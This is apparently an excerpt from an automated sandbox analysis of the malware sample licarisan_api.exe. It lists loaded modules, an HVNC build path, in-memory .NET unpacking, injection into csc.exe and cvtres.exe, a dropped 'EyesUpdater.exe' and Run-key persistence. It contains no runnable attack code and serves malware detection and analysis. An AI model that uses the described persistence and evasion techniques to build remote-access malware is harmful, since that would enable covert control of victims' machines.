Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: usermgrproxy.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cscui.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: structuredquery.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.globalization.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: icu.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mswb7.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.search.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: actxprxy.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: licarisan_api.exe

Static file information: File size 4038008 > 1048576

Source: licarisan_api.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x312e00

Source:	Binary string: H:\HVNC VELOCITY\Velocity (2)\Velocity\HVNC Source\NewDLL\DLL\obj\Release\DLL.pdb source: csc.exe, 0000000A.00000002.1448247892.0000000008445000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2503619664.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: H:\HVNC VELOCITY\Velocity (2)\Velocity\HVNC Source\NewDLL\DLL\obj\Release\DLL.pdbJ source: csc.exe, 0000000A.00000002.1448247892.0000000008445000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 0000000C.00000002.2503619664.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.licarisan_api.exe.724afa.0.raw.unpack, 2A4ZY3PGYZLX.cs	.Net Code: Run4 System.Reflection.Assembly.Load(byte[])
Source: 10.2.csc.exe.852cc18.1.raw.unpack, HVNC.cs	.Net Code: listitems System.AppDomain.Load(byte[])

Source: C:\Users\user\Desktop\licarisan_api.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
Source: C:\Users\user\Desktop\licarisan_api.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"			Jump to behavior

Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_00425A27 push edi; ret	0_2_00425AAE
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007B3C5D push ds; retn 0000h	0_2_007B3C62
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007BDF32 push ss; iretd	0_2_007BDF3E
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007CB47E pushfd ; retf	0_2_007CB480
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007CB4E4 pushfd ; retf	0_2_007CB4E6
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007CD136 push eax; retf	0_2_007CD138
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007CCF7E push esp; retf	0_2_007CCF7F
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007CCF19 push esp; retf	0_2_007CCF1E
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007CCF8D push eax; retf	0_2_007CCF8E
Source: C:\Users\user\Desktop\licarisan_api.exe	Code function: 0_2_007FCBF7 push 81000066h; retf	0_2_007FCBFC

Source: C:\Users\user\Desktop\licarisan_api.exe

File created: C:\Users\user\Music\OcoulsUpdater\EyesUpdater.exe

Jump to dropped file

Source: C:\Users\user\Desktop\licarisan_api.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OcuulusUpdater			Jump to behavior
Source: C:\Users\user\Desktop\licarisan_api.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OcuulusUpdater			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
